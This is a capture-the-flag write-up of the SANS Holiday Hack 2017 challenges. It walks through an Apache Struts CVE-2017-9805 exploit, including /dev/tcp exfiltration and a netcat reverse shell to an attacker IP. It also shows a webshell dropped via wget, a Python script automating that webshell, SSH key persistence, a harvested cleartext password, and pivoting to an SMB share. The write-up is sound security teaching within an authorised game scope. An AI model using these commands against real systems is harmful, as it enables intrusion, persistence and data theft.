Rerunning our command now results in a lengthy Apache Tomcat error
with no apparent output from our ls
command. We're dealing with a
blind injection so we'll need to figure out a different way to get the
output of the command. One trick we can pull is redirecting output to
a special pseudo device, /dev/tcp/$host/$port
. We'll need to
set up a listener on our end first:
holiday@hack:~$ nc -l -p 8888
Now we run the exploit again:
./cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c "ls > /dev/tcp/1.2.3.4/8888"
The result on our end is:
holiday@hack:~$ nc -l -p 8888 bin boot dev etc home ... vmlinuz vmlinuz.old
It looks like we've been dropped into the root directory. Let's look for
where the web root is. Normally, the default is /var/www/html on most
linux+apache based hosts. We'll try again with the command ls -al /var/www/html
.
total 1772 drwxrwxrwt 6 www-data www-data 4096 Jan 6 03:00 . drwxr-xr-x 3 root root 4096 Oct 12 14:35 .. drwxr-xr-x 2 root www-data 4096 Oct 12 19:03 css drwxr-xr-x 3 root www-data 4096 Oct 12 19:40 fonts -r--r--r-- 1 root www-data 1764298 Dec 4 20:25 GreatBookPage2.pdf drwxr-xr-x 2 root www-data 4096 Oct 12 19:14 imgs -rw-r--r-- 1 root www-data 14501 Nov 24 20:53 index.html drwxr-xr-x 2 root www-data 4096 Oct 12 19:11 js -rwx------ 1 www-data www-data 231 Oct 12 21:25 process.php
Oh look. There's GreatBookPage2.pdf. We can download it and find the answer to the first question.
Let's assume for a minute that we didn't know where the web root
was. Since page 1 of our Great Book was a PDF, it's a pretty safe bet
that page 2 is also a PDF. It takes about half of a second to search the system for all PDFs using find
:
$ find / -name *.pdf /var/www/html/GreatBookPage2.pdf
- Command Execution
It looks like we found our web root. Let's try out the web shell they suggest in the hints from Josh Wright easy-simple-php-webshell.php. We'll output it to a random file in the web root then we can try to use it to execute commands using a browser.
./cve-2017-9805.py -c "wget -O /var/www/html/4beadb1e-5ddb-4636-98a4-c2dac0f79ab0.php https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/be4b2c021b284f21418f55b9d4496cdd3b3c86d8/easy-simple-php-webshell.php" -u https://dev.northpolechristmastown.com/orders.xhtml
Now we can access https://l2s.northpolechristmastown.com/4beadb1e-5ddb-4636-98a4-c2dac0f79ab0.php and look around. If we do an
ls
in this webshell, it just returns the local directory,/var/www/html
. Nothing in here suggests that we have the webroot for the dev server, https://dev.northpolechristmastown.com/.Let's run
find
to see if we can find the password in our webshell.find / -xdev -type f -user alabaster_snowball 2>/dev/null | xargs grep password
Within the page full of results we see this:
/opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class: final String password = "stream_unhappy_buy_loss";
A closer look at
OrderMySql.class
usingcat /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class
we find:final String username = "alabaster_snowball"; final String password = "stream_unhappy_buy_loss";
We can use Alabaster's account to login to the l2s system, which we'll need to use to pivot to other systems.
Solution
- What is the topic of The Great Book page available in the web root of the server?
Leveraging the Apache Struts vulnerability, we can run
ls
on the common web root of/var/www/html
, and get the filename of the page, then download it via the web server. Opening it up, we see that the topic is:On the Topic of Flying Animals
- What is Alabaster Snowball’s password?
The trick here is just finding the right file, and the password is in cleartext in that file. We used
find
togrep
all the files for "password".stream_unhappy_buy_loss
Alternatives
- Add an authorized_key
One thing you can do if you don't have the password yet is actually add an SSH key to Alabaster's authorized keys file. This is problematic since you need to know that the username is actually
alabaster_snowball
first. Assuming you do, you can run the following command to add your key to the file.The command we want to run is the following, taking care not to clobber any existing authorized keys:
cd /home/alabaster_snowball # Make the .ssh directory, if it doesn't exist mkdir .ssh # ssh is very picky about permissions, so lock this down: chmod 700 .ssh cd .ssh # Create the authorized_keys file, if it doesn't exist touch authorized_keys # ...and lock it down chmod 600 authorized_keys # Append our key echo ssh-rsa VGhpcyBpcyBub3QgcmVhbGx5IGFuIFJTQSBrZXksIGJ1dCBoZXksIHdobyByZWFsbHkgbG9va3MgYXQgYmFzZTY0IGFueXdheQo= holiday@hack | tee -a /home/alabaster_snowball/.ssh/authorized_keys
For running this via the Struts exploit, we want this all as a one-liner. Let's break this up into two parts: first, we'll create the necessary directory and file, and ensure the permissions are correct, then we'll add our key:
./cve_2017_9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c 'cd /home/alabaster_snowball; mkdir .ssh; chmod 700 .ssh; cd .ssh; touch authorized_keys; chmod 600 authorized_keys' ./cve_2017_9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c 'echo ssh-rsa VGhpcyBpcyBub3QgcmVhbGx5IGFuIFJTQSBrZXksIGJ1dCBoZXksIHdobyByZWFsbHkgbG9va3MgYXQgYmFzZTY0IGFueXdheQo= holiday@hack | tee -a /home/alabaster_snowball/.ssh/authorized_keys'
Then you can SSH in using your private key identity file.
holiday@hack:~$ ssh -i /home/holiday/.ssh/sans_2017 alabaster_snowball@l2s.northpolechristmastown.com alabaster_snowball@l2s:/tmp/asnow.xq1pCkwT7LUy3iLl0AaBCc7D$ grep -A1 -R / -e alabaster_snowball /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class: final String username = "alabaster_snowball"; /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class- final String password = "stream_unhappy_buy_loss";
Once in you are in a restricted shell but you can try to
grep
for Alabaster's password but a regulargrep
against the entire system will take about 1 minute then you have to parse through the results. - Automate the webshell
We can automate dropping a webshell and creating a mini shell to query it. Assuming we have https://github.com/chrisjd20/cve-2017-9805.py in the same directory we can create a script to automate exploitation and give us a prompt to execute commands.
#!/usr/bin/env python from __future__ import print_function import base64 import requests import sys from cve_2017_9805 import main as struts_exploit VULNERABLE_ENDPOINT = "https://dev.northpolechristmastown.com/orders.xhtml" BASE_URL = "https://l2s.northpolechristmastown.com/" WEBSHELL = "4beadb1e-5ddb-4636-98a4-c2dac0f79ab3.php" WEBSHELL_PAYLOAD = b'<?php system($_GET[cmd]); ?>\n' WEBSHELL_PAYLOAD_ENCODED = base64.encodestring(WEBSHELL_PAYLOAD).strip() ## Emulate this command: ## /cve-2017-9805.py -c 'echo PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo= | ## base64 -d > /var/www/html/4beadb1e-5ddb-4636-98a4-c2dac0f79ab0.php' -u https://dev.northpolechristmastown.com/orders.xhtml EXPLOIT_COMMAND = "echo {} | base64 -d > /var/www/html/{}".format(WEBSHELL_PAYLOAD_ENCODED, WEBSHELL) def run_command(command): url = BASE_URL + WEBSHELL request = requests.get(url, params={"cmd":command}) if request.status_code == 404: return None return request.text #Main function def setup(): # See if we can run the id command, and if so, we are good to go... out = run_command('id') if out and 'uid=' in out: return True sys.stderr.write("The webshell did not exist, re-exploiting.....\n") struts_exploit(VULNERABLE_ENDPOINT, EXPLOIT_COMMAND) out = run_command('id') if out and 'uid=' in out: return True sys.stderr.write("The struts exploit/webshell failed :-(\n") sys.exit(1) def interactive(): setup() while True: try: cmd = raw_input("www-data@l2s:$ ") except EOFError: print() return print(run_command(cmd)) def one_shot(command): setup() print(run_command(command)) if __name__ == "__main__": if sys.argv[1:]: one_shot(' '.join(sys.argv[1:])) else: interactive()
First we need to either rename
cve-2017-9805.py
tocve_2017_9805.py
or create a symlink so it can be properly imported into our script. Then we can easily execute commands on l2s.holiday@hack:~$ ./l2s.py id The webshell did not exist, re-exploiting..... [+] Encoding Command [+] Building XML object [+] Placing command in XML object [+] Converting Back to String [+] Making Post Request with our payload [+] Payload executed uid=33(www-data) gid=33(www-data) groups=33(www-data) holiday@hack:~$ ./l2s.py uname -a Linux hhc17-apache-struts1 4.9.0-5-amd64 #1 SMP Debian 4.9.65-3+deb9u2 (2018-01-04) x86_64 GNU/Linux holiday@hack:~$ ./l2s.py www-data@l2s:$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@l2s:$ uname -a Linux hhc17-apache-struts1 4.9.0-5-amd64 #1 SMP Debian 4.9.65-3+deb9u2 (2018-01-04) x86_64 GNU/Linux
- Search even faster with ripgrep
ripgrep
is a super fastgrep
replacement written in rust. It does a better job at filtering binary files, so we can run this command that finishes in about a second.The following steps create a folder for
ripgrep
and executes the search.www-data@l2s:$ mkdir /tmp/.rg www-data@l2s:$ wget -q -O - https://github.com/BurntSushi/ripgrep/releases/download/0.7.1/ripgrep-0.7.1-x86_64-unknown-linux-musl.tar.gz | tar xzf - -C /tmp/.rg/ www-data@l2s:$ find / -type f -xdev -user alabaster_snowball 2>/dev/null | xargs /tmp/.rg/ripgrep-0.7.1-x86_64-unknown-linux-musl/rg alabaster -A 1 /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class: final String username = "alabaster_snowball"; /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class- final String password = "stream_unhappy_buy_loss";
- Get a full shell
Getting a shell is actually fairly easy. Using the struts exploit we can redirect a bash shell through netcat back to our machine like this:
./cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c "nc -c /bin/bash 1.2.3.4 8080"
holiday@hack:~$ nc -l -p 8080 -vvv Listening on [0.0.0.0] (family 0, port 8080) Connection from [35.227.53.70] port 8080 [tcp/http-alt] accepted (family 2, sport 48164) id uid=1003(alabaster_snowball) gid=1004(alabaster_snowball) groups=1004(alabaster_snowball) pwd /
Common Pitfalls
A common pitfall is the blind injection aspect of the Apache Struts exploit. There were a couple of ways around this:
- Using the
/dev/tcp
trick like we did, - Redirect the output to
/var/www/html/$filename
, and then accessing that via the web interface, - Piping the output to
netcat
.
Finding the password was also tricky. Luckily, there weren't many
files on this system, so we could just grep
everything, but another
option would've been to look for files that had been modified around
the time the system was installed.
Trying to compromise the l2s app itself was a dead end. Once we have command execution we can see that the process.php script is simply:
<?php if ($_POST["first_name"] && $_POST["age"] && $_POST["state"] && $_POST["city"] && $_POST["toy"] && $_POST["message"] && $_POST["sex"]) { echo "Letter has been sent to Santa!"; } else { echo "Error missing parameters"; } ?>
About the Challenge
Initially the host had a couple of noticeable holes.
- Apache server running as
alabaster_snowball
(eventually changed towww-data
user) - Easy bypass of rbash by adding the '-t' flag and executing
bash
on SSH login (eventuallyrbash
was forced through/etc/ssh/sshd_config
)
The server itself housed two virtual web hosts, the Letters to Santa application which ran PHP in nginx
and the Development site which was run by Apache Struts on a high port being redirected by nginx
.
Moving Foward
Now that we have a script to automate access to l2s let's run nmap
to scan the internal network.
holiday@hack:~$ ./l2s.py "nmap -sC 10.142.0.*" Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-09 20:51 UTC Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2) Host is up (0.00018s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA) |_ 256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA) 80/tcp open http |_http-title: Did not follow redirect to https://hhc17-l2s-proxy.c.holidayhack2017.internal/ 443/tcp open https |_http-title: Toys List | ssl-cert: Subject: commonName=dev.northpolechristmastown.com | Subject Alternative Name: DNS:dev.northpolechristmastown.com, DNS:l2s.northpolechristmastown.com | Not valid before: 2017-11-29T12:54:54 |_Not valid after: 2018-02-27T12:54:54 |_ssl-date: TLS randomness does not represent time | tls-nextprotoneg: |_ http/1.1 2222/tcp open EtherNetIP-1 Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3) Host is up (0.00017s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA) |_ 256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA) 80/tcp open http |_http-title: Toys List Nmap scan report for mail.northpolechristmastown.com (10.142.0.5) Host is up (0.00018s latency). Not shown: 994 closed ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 a2:c4:67:fe:a2:d9:df:47:02:55:35:1a:f4:1b:b6:02 (RSA) |_ 256 9e:d4:01:d1:71:be:95:90:68:6e:ee:87:28:42:49:8e (ECDSA) 25/tcp open smtp |_smtp-commands: mail.northpolechristmastown.com, PIPELINING, SIZE 10240000, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 80/tcp open http | http-robots.txt: 1 disallowed entry |_/cookie.txt |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 143/tcp open imap |_imap-capabilities: more AUTH=PLAIN capabilities have OK Pre-login AUTH=LOGINA0001 ENABLE listed SASL-IR IDLE post-login LITERAL+ IMAP4rev1 LOGIN-REFERRALS ID 2525/tcp open ms-v-worlds 3000/tcp open ppp Nmap scan report for edb.northpolechristmastown.com (10.142.0.6) Host is up (0.00014s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 73:de:22:15:7b:53:13:85:a7:a5:8f:10:3a:5d:3b:3f (RSA) |_ 256 f5:d7:f3:5d:dc:7c:73:10:cc:f7:a4:c7:f0:d9:61:0c (ECDSA) 80/tcp open http | http-robots.txt: 1 disallowed entry |_/dev | http-title: Site doesn't have a title (text/html; charset=utf-8). |_Requested resource was http://edb.northpolechristmastown.com/index.html 389/tcp filtered ldap 8080/tcp open http-proxy | http-robots.txt: 1 disallowed entry |_/dev |_http-title: Did not follow redirect to http://edb.northpolechristmastown.com/index.html Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8) Host is up (0.00021s latency). Not shown: 995 closed ports PORT STATE SERVICE 80/tcp open http | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server | ssl-cert: Subject: commonName=hhc17-smb-server | Not valid before: 2017-11-06T13:46:55 |_Not valid after: 2018-05-08T13:46:55 |_ssl-date: 2018-01-09T20:51:47+00:00; 0s from scanner time. Host script results: |_nbstat: NetBIOS name: HHC17-SMB-SERVE, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:08 (unknown) | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smbv2-enabled: Server supports SMBv2 protocol Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11) Host is up (0.00021s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA) |_ 256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA) 80/tcp open http |_http-title: Toys List 4444/tcp open krb524 Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13) Host is up (0.00078s latency). Not shown: 998 filtered ports PORT STATE SERVICE 80/tcp open http | http-methods: |_ Potentially risky methods: TRACE |_http-title: Index - North Pole Engineering Presents: EaaS! 3389/tcp open ms-wbt-server | ssl-cert: Subject: commonName=hhc17-elf-manufacturing | Not valid before: 2017-11-23T20:53:55 |_Not valid after: 2018-05-25T20:53:55 |_ssl-date: 2018-01-09T20:51:47+00:00; 0s from scanner time. Post-scan script results: | clock-skew: | 0s: | 10.142.0.13 (eaas.northpolechristmastown.com) |_ 10.142.0.8 (hhc17-emi.c.holidayhack2017.internal) | ssh-hostkey: Possible duplicate hosts | Key 256 dc:0b:52:ab:43:87:59:7b:04:88:2d:5c:db:92:4f:ba (ECDSA) used by: | 10.142.0.2 | 10.142.0.3 | 10.142.0.11 | Key 2048 81:aa:b0:de:e0:4a:b5:23:7e:e8:cd:14:f3:fa:e2:f3 (RSA) used by: | 10.142.0.2 | 10.142.0.3 |_ 10.142.0.11 Nmap done: 256 IP addresses (7 hosts up) scanned in 14.86 seconds
SMB: Windows Fileshare
Question
The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?
/For hints, please see Holly Evergreen in the Cryokinetic Magic Level.
Background Information
Holly's hints are:
Nmap has default host discovery checks that may not discover all hosts. To customize which ports Nmap looks for during host discovery, use `-PS` with a port number, such as `-PS123` to check TCP port 123 to determine if a host is up.
Alabaster likes to keep life simple. He chooses a strong password, and sticks with it.
The Letters to Santa server is limited in what commands are available. Fortunately, SSH has enough flexibility to make access through the Letters server a fruitcake-walk.
Have you used port forwarding with SSH before? It's pretty amazing! [Here is a quick guide](https://help.ubuntu.com/community/SSH/OpenSSH/PortForwarding).
Windows users can use SSH port forwarding too, using PuTTY! [Here is a quick guide for Windows users](https://blog.devolutions.net/2017/04/how-to-configure-an-ssh-tunnel-on-putty.html).
Sometimes it's better to use a Linux system as the SSH port forwarder, and interact with a Linux system from a Windows box. For example, running `ssh -L :445:SMBSERVERIP:445 username@sshserver` will allow you to access your Linux server's IP, which will forward directly to the SMB server over SSH.
Linux systems can also interact with a Windows server using the smbclient utility: `smbclient -L smbserverorforwarder -U username`.
The scope statement calls out systems on 10.142.0.0/24 as being in scope:
SCOPE: For this entire challenge, you are authorized to attack ONLY the Letters to Santa system at l2s.northpolechristmastown.com AND other systems on the internal 10.142.0.0/24 network that you access through the Letters to Santa system.
The question mentions pivoting through the Letters to Santa server (l2s
). A commonly used tool for network discovery is nmap
, and we can check that it's available on l2s
:
alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.VmaV55tqZi5rteO9fXHB3kjM$ nmap -V Nmap version 7.40 ( https://nmap.org ) Platform: x86_64-pc-linux-gnu Compiled with: liblua-5.3.3 openssl-1.1.0c libpcre-8.39 libpcap-1.8.1 nmap-libdnet-1.12 ipv6 Compiled without: Available nsock engines: epoll poll select
There's a great nmap
overview available here: https://nmap.org/book/nmap-overview-and-demos.html
We also know that the SMB suite of protocols uses a lot of ports, but 445 is one of the main ones.
This post on the SANS Pen Testing Blog seems relevant, but masscan isn't installed on l2s
:
- Massively Scaling your Scanning https://pen-testing.sans.org/blog/2017/10/25/massively-scaling-your-scanning
Goal
Three separate things:
- Identify the SMB server,
- Enumerate the shares on it,
- Name the file server share.
Approach
Let's follow the nmap
overview.
Being the careful type, Felix first starts out with what is known as an Nmap list scan (-sL option). This feature simply enumerates every IP address in the given target netblock(s) and does a reverse-DNS lookup (unless -n was specified) on each. One reason to do this first is stealth. The names of the hosts can hint at potential vulnerabilities and allow for a better understanding of the target network, all without raising alarm bells.
alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.sjKK74OSjKfIxlr5otQil8yd$ nmap -sL 10.142.0.0/24 Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-08 02:40 UTC Nmap scan report for 10.142.0.0 Nmap scan report for 10.142.0.1 Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2) Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3) Nmap scan report for 10.142.0.4 Nmap scan report for mail.northpolechristmastown.com (10.142.0.5) Nmap scan report for edb.northpolechristmastown.com (10.142.0.6) Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7) Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8) Nmap scan report for 10.142.0.9 Nmap scan report for 10.142.0.10 Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11) Nmap scan report for 10.142.0.12 Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13) Nmap scan report for 10.142.0.14 Nmap scan report for 10.142.0.15 ...
Parsing the results a bit:
Hostname | IP |
---|---|
hhc17-l2s-proxy | 10.142.0.2 |
hhc17-apache-struts1 | 10.142.0.3 |
10.142.0.5 | |
edb | 10.142.0.6 |
hhc17-smb-server | 10.142.0.7 |
hhc17-emi | 10.142.0.8 |
hhc17-apache-struts2 | 10.142.0.11 |
eaas | 10.142.0.13 |
One of the systems is named hhc17-smb-server
.
Continuing with the overview, we can now narrow in on a single IP. This is the same technique suggested in one of the hints:
alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.sjKK74OSjKfIxlr5otQil8yd$ nmap -p- -PS445 -A -T4 -oA avatartcpscan-%D 10.142.0.7 Starting Nmap 7.40 ( https://nmap.org ) at 2018-01-08 02:51 UTC Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7) Host is up (0.00040s latency). Not shown: 65527 filtered ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 3389/tcp open ssl/ms-wbt-server? | ssl-cert: Subject: commonName=hhc17-emi | Not valid before: 2017-11-06T13:51:23 |_Not valid after: 2018-05-08T13:51:23 |_ssl-date: 2018-01-08T02:54:30+00:00; 0s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found | ssl-cert: Subject: commonName=hhc17-emi | Subject Alternative Name: DNS:hhc17-emi | Not valid before: 2017-11-07T13:52:11 |_Not valid after: 2018-11-07T13:52:11 |_ssl-date: 2018-01-08T02:54:30+00:00; 0s from scanner time. 49666/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_nbstat: NetBIOS name: HHC17-EMI, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:07 (unknown) | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smbv2-enabled: Server supports SMBv2 protocol Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 205.99 seconds
So it does indeed seem to be an SMB server. A command-line tool to access it is smbclient
:
alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.sjKK74OSjKfIxlr5otQil8yd$ smbclient -L 10.142.0.7 -U alabaster_snowball rbash: smbclient: command not found
It's not available on l2s
. Another option is forwarding a port through SSH:
user@vps $ ssh alabaster_snowball@l2s.northpolechristmastown.com -O forward -L 4445:10.142.0.7:445
Now we can access port 445 on hhc17-smb-server
via port 4445 on localhost
:
user@vps $ smbclient -L localhost -p 4445 -U alabaster_snowball WARNING: The "syslog" option is deprecated Enter alabaster_snowball's password: Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3] Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share FileStor Disk IPC$ IPC Remote IPC Connection to localhost failed (Error NT_STATUS_CONNECTION_REFUSED) NetBIOS over TCP disabled -- no workgroup available
FileStor
looks interesting. Let's see what's on it:
user@vps $ smbclient //localhost/FileStor -p 4445 -U alabaster_snowball WARNING: The "syslog" option is deprecated Enter alabaster_snowball's password: Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3] smb: \> ls . D 0 Wed Dec 6 16:51:46 2017 .. D 0 Wed Dec 6 16:51:46 2017 BOLO - Munchkin Mole Report.docx A 255520 Wed Dec 6 16:44:17 2017 GreatBookPage3.pdf A 1275756 Mon Dec 4 14:21:44 2017 MEMO - Calculator Access for Wunorse.docx A 111852 Mon Nov 27 14:01:36 2017 MEMO - Password Policy Reminder.docx A 133295 Wed Dec 6 16:47:28 2017 Naughty and Nice List.csv A 10245 Thu Nov 30 14:42:00 2017 Naughty and Nice List.docx A 60344 Wed Dec 6 16:51:25 2017 13106687 blocks of size 4096. 9624115 blocks available smb: \> mget * getting file \BOLO - Munchkin Mole Report.docx of size 255520 as BOLO - Munchkin Mole Report.docx (1094.4 KiloBytes/sec) (average 1094.4 KiloBytes/sec) getting file \GreatBookPage3.pdf of size 1275756 as GreatBookPage3.pdf (2818.7 KiloBytes/sec) (average 2231.9 KiloBytes/sec) getting file \MEMO - Calculator Access for Wunorse.docx of size 111852 as MEMO - Calculator Access for Wunorse.docx (666.0 KiloBytes/sec) (average 1924.0 KiloBytes/sec) getting file \MEMO - Password Policy Reminder.docx of size 133295 as MEMO - Password Policy Reminder.docx (834.4 KiloBytes/sec) (average 1752.3 KiloBytes/sec) getting file \Naughty and Nice List.csv of size 10245 as Naughty and Nice List.csv (99.1 KiloBytes/sec) (average 1599.3 KiloBytes/sec) getting file \Naughty and Nice List.docx of size 60344 as Naughty and Nice List.docx (390.3 KiloBytes/sec) (average 1452.3 KiloBytes/sec)
Solution
We used nmap
to list our targets, and found hhc17-smb-server
. We
used SSH forwarding to connect to it with smbclient
. We used the
credentials we found for question 2 to connect.
Common Pitfalls
It looks like hhc17-smb-server
blocks pings. By default, nmap
uses
pings to determine which hosts are up, and which it should scan
further. We used the "list scan," which just did reverse DNS queries,
and were able to identify the system quickly. If, however, someone
just tried to run nmap -p 445 10.142.0.0/24
, they wouldn't find the system.
It also looked like two systems were mixed up in NetBIOS and RDP SSL cert names:
Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7) ... 3389/tcp open ssl/ms-wbt-server? | ssl-cert: Subject: commonName=hhc17-emi ... Host script results: | nbstat: NetBIOS name: HHC17-EMI, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:07 (unknown) ... Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8) ... 3389/tcp open ssl/ms-wbt-server? | ssl-cert: Subject: commonName=hhc17-smb-server ... Host script results: | nbstat: NetBIOS name: HHC17-SMB-SERVE, NetBIOS user: <unknown>, NetBIOS MAC: 42:01:0a:8e:00:08 (unknown)
EWA: AES Bypass
Question
Elf Web Access (EWA) is the preferred mailer for North Pole elves, available internally at http://mail.northpolechristmastown.com/. What can you learn from The Great Book page found in an e-mail on that server?
Pepper Minstix provides some hints for this challenge on the There's Snow Place Like Home Level.
Background Information
Pepper Minstix gives us the following hints:
I'm so excited for the new email system that Alabaster Snowball set up for us. He spent a lot of time working on it. Should make it very easy for us to share cookie recipes. I just hope that he cleared up all his dev files. I know he was working on keeping the dev files from search engine indexers.
The new email system's authentication should be impenetrable. Alabaster was telling me that he came up with his own encryption scheme using AES256, so you know it's secure.
AES256? Honestly, I don't know much about it, but Alabaster explained the basic idea and it sounded easy. During decryption, the first 16 bytes are removed and used as the initialization vector or "IV." Then the IV + the secret key are used with AES256 to decrypt the remaining bytes of the encrypted string.
Hmmm. That's a good question, I'm not sure what would happen if the encrypted string was only 16 bytes long.
Every year when Santa gets back from delivering presents to the good girls and boys, he tells us stories about all the cookies he receives. I love everything about cookies! Cooking them, eating them, editing them, decorating them, you name it!
Goal
The question tells us that the page we're looking for is in an e-mail. So, we need to figure out some way to login to the mail system and find the crucial message.
Approach
First off, let's pull up the website in our web browser. SSH can run a SOCKS proxy for us, which we can use to tunnel our traffic through l2s. We use the access we got in Question 2 to SSH in:
ssh -D 31080 alabaster_snowball@l2s.northpolechristmastown.com
I like to use Firefox for this, since, unlike Chrome, we can configure proxy settings different from the system-wide settings:
Figure 14: Elf Web Access
Now we can just navigate to http://mail.northpolechristmastown.com/:
Figure 15: Elf Web Access
Luckily, we got Alabaster's password in Question 2, so let's login!
Figure 16: Logging in as alabaster_snowball/stream_unhappy_buy_loss
Of course! We need an e-mail address:
Figure 17: Logging in as alabaster_snowball@northpolechristmastown.com/stream_unhappy_buy_loss
Luckily, the error message tells us how we need to format the e-mail address:
Figure 18: Logging in as alabaster_snowball@northpolechristmastown.com/stream_unhappy_buy_loss
Curses! Looks like Alabaster is at least smart enough to not reuse credentials. At least he's following the password policy:
Figure 19: MEMO - Password Policy Reminder.docx from the SMB FileStor
Let's review some of the hints that Pepper gave us:
I just hope that he cleared up all his dev files. I know he was working on keeping the dev files from search engine indexers.
We scanned this EWA system with nmap
before, and one of the nmap
scripts did find a reference in robots.txt
:
80/tcp open http | http-robots.txt: 1 disallowed entry |_/cookie.txt |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Given how much Pepper harps on cookies, perhaps this file is worth investigating. When we view it, we see:
//FOUND THESE FOR creating and validating cookies. Going to use this in node js function cookie_maker(username, callback){ var key = 'need to put any length key in here'; //randomly generates a string of 5 characters var plaintext = rando_string(5) //makes the string into cipher text .... in base64. When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random characters //Removes equals from output so as not to mess up cookie. decrypt function can account for this without erroring out. var ciphertext = aes256.encrypt(key, plaintext).replace(/\=/g,''); //Setting the values of the cookie. var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext, "ciphertext":ciphertext}), { maxAge: 86400000, httpOnly: true, encode: String }] return callback(acookie); }; function cookie_checker(req, callback){ try{ var key = 'need to put any length key in here'; //Retrieving the cookie from the request headers and parsing it as JSON var thecookie = JSON.parse(req.cookies.IOTECHWEBMAIL); //Retrieving the cipher text var ciphertext = thecookie.ciphertext; //Retrievingin the username var username = thecookie.name //retrieving the plaintext var plaintext = aes256.decrypt(key, ciphertext); //If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key if (plaintext === thecookie.plaintext) { return callback(true, username); } else { return callback(false, ''); } } catch (e) { console.log(e); return callback(false, ''); } };
There's a lot to parse here, but given the number of times AES and IVs are mentioned in the hints, this looks like we're on the right path.
